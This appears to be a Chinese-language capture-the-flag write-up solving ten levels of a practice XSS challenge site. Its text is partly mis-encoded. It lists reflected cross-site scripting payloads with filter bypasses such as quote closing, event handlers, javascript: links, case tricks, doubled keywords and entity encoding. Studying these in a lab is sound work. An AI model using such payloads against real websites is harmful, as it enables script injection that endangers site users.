XSS學(xué)習(xí)記錄之xss闖關(guān)

第一關(guān)

發(fā)現(xiàn)沒有輸入框,頁面上的元素點擊也無反應(yīng),所以應(yīng)該是在URL處進行漏洞注入。
沒過濾,直接構(gòu)造payload:
http://test.ctf8.com/level1.php?name= <script> alert(1) </script>test
然后顯示我們成功了,點擊確定進入下一關(guān)

第二關(guān)
這次有一個輸入框,嘗試輸入aaa,可以發(fā)現(xiàn)URL變成:
http://test.ctf8.com/level2.php?keyword=aaa&submit=搜索
然后我們嘗試直接在輸入框輸入JS代碼或者在URL里添加,但發(fā)現(xiàn)注入失敗,被輸出來了
所以我們查看一下源碼
所以我們可以閉合語句,直接在輸入框輸入payload:
"><script>alert(1)</script>
成功!ps:這時頁面代碼變成了:<input name="keyword" value=""><script>alert(1)</script>"
或者用on事件
" onclick=alert(1)> 需要點擊一下輸入框
" onmouseover=alert(1)>
又或者:
"><img src=1 onerror="alert(1)"
"><a href="javascript:alert(1)">123</a>都是可以的
第三關(guān)
嘗試用上一關(guān)的方法,但是失敗了-_-
查看源碼發(fā)現(xiàn)尖括號被解析了

用單引號閉合即可,然后用on事件,參考payload:
' onclick=alert(1)%0a (%0a用做換行使的input標簽語法正確,主要是因為過濾了“>”)onclick 事件直接包含在<>內(nèi),可直接被執(zhí)行,觀察源代碼為單引號,把value給閉合掉
或者'onclick='javascript:alert(1)'這兩個都是要再點擊一下輸入框
觀察php源碼則會發(fā)現(xiàn)htmlspecialchars()函數(shù),

這個函數(shù)會將<>等一些字符進行實體化,但是單引號不會,所以還可以利用onmouseover事件
payload: ' onmouseover='alert(1)'

補充:
偽協(xié)議是一種不標準的協(xié)議,把javascript:后的語句當(dāng)作js來執(zhí)行,結(jié)果值返回當(dāng)前頁面,javascript:url的形式
on() 方法在被選元素及子元素上添加一個或多個事件處理程序,例:
onclick 事件會在元素被點擊時發(fā)生
onmouseover 屬性在鼠標指針移動到元素上時(滑過)觸發(fā)
第四關(guān)
和第三關(guān)無差,只是閉合方式變成了雙引號
"onclick='javascript:alert(1)'
觀察PHP源碼,多了一個str_replace()函數(shù),

簡單介紹一下,語法格式str_replace(find,replace,string),例:
<?phpecho str_replace("world","Peter","Hello world!");?>
是把字符串 "Hello world!" 中的字符 "world" 替換成 "Peter",
本題是將<>替換為空,這里可以利用oninput事件和onchange事件
payload:
"onchange=alert(1)//
" oninput=alert(1) //
此時頁面代碼為:value=" " onchange=" alert(1)//" "
value=" oninput=alert(1) //">
第五關(guān)
先用上一關(guān)的方法試試,失敗了
分析源碼得知:on事件被過濾,那我們試試"><script>alert(1)</script>結(jié)果是失敗的o_o,只好再看一下源碼
原來script也被過濾了,所以,這里呢我們改為<a>標簽和JavaScript來繞過,payload:"><a href=javascript:alert(1)>
點搜索后沒有彈框但是有一個超鏈接,點擊即可

第六關(guān)

這里我么們直接使用上題的注入方式,然后發(fā)現(xiàn)都是失敗的,查看源碼如下:

<input name=keyword  value=" "><a hr_ef="javascript:alert(1)">">
<input name=keyword  value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword  value=" "<scr_ipt> alert(1)</script>">

發(fā)現(xiàn)這里的href、 script、 onclick 都被過濾了,可以嘗試下大小寫繞過吖
參考payload:"Onclick='javascript:alert(1)'
成功!
第七關(guān)
試試輸入上個一關(guān)的語句,結(jié)果如下:

<input name="keyword"  value=""><>alert(1)</>">
<input name="keyword"  value=""click='java:alert(1)'">
<input name="keyword" value><a =java:alert(1)>"">"

看來是on,script,href被完全過濾了,
一時無解,不知道還有什么語句,就看了下別人的博客,o_o原來是雙寫繞過吖
所以參考payload:
"><sscriptcript>alert(1)</sscriptcript>
"><a hhrefref=javasscriptcript:alert(1)>(點擊鏈接)
"oonnclick='javasscriptcript:alert(1)'(二次點擊輸入框)
還有就不列舉了·······
第八關(guān)


這道題過濾javascript關(guān)鍵字,會把javascript變成javasc_ript??梢酝ㄟ^tab制表符繞過(%09),參考payload:
javasc%09ript:alert(1)
java&#x73;&#x63;&#x72;ipt:alert(/xss/) #HTML實體編碼(對哪一個字符編碼都可如:javascri&#x70;t:alert(1)),然后還需要需要點擊一下頁面內(nèi)的鏈接
第九關(guān)
觀察源碼,這次和第8關(guān)比只是多了一個對添加鏈接的判斷,就是http://
所以只需要在我們的payload當(dāng)中添加一個http即可,同時使用注釋包裹起來,讓他不生效就好:
payload:javascript:alert(1)/http://www.baidu.com/
第十關(guān)
這一關(guān)居然沒有輸入框

只能在URL上動手腳了--,但是什么也不知道,不能盲注吧,so查看一下源碼:
發(fā)現(xiàn)有三個參數(shù)誒,應(yīng)該是哪一個呢,三個一起輸試試吧:http://test.ctf8.com/level10.php?keyword=t_link=1&t_history=2&t_sort=1
哇哦,不得了

答案出來了,只有t_sort參數(shù)處有回應(yīng),所以這里t_sort 就是注入點,構(gòu)造命令(ps:代碼中有隱藏的參數(shù)設(shè)置,把hidden改為text)
payload: &t_sort=" type="text" onclick="alert()
點擊后成功啦!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 前言 這是比較簡單的xss練習(xí)小游戲,非常適合入門。一直以來,對xss的內(nèi)容總感覺有一些屏障,應(yīng)該是因為動手實踐太...
    煊奕閱讀 2,961評論 0 2
  • XSS挑戰(zhàn)賽解題思路 level1 查看源代碼 可以看到name處沒有任何過濾,直接插入payload即可 lev...
    Wudi1閱讀 1,544評論 0 3
  • XSS總結(jié): xss分為三種,反射型xss,DOM型XSS及存儲型XSS,不同類型的XSS的危害不同,有興趣的...
    jiaoyurun閱讀 862評論 0 0
  • 女慕貞潔 男效才良 知過必改 得能莫忘 罔談彼短 靡恃己長 信使可復(fù) 器欲難量
    秋鴻春夢閱讀 350評論 3 8
  • 每年到了臘八節(jié)前后,過年的氣氛一天比一天濃烈起來。 超市里年貨一條街,商品琳瑯滿目,叫人眼花繚亂,菜巿場里賣對聯(lián)的...
    元字閱讀 391評論 0 3

友情鏈接更多精彩內(nèi)容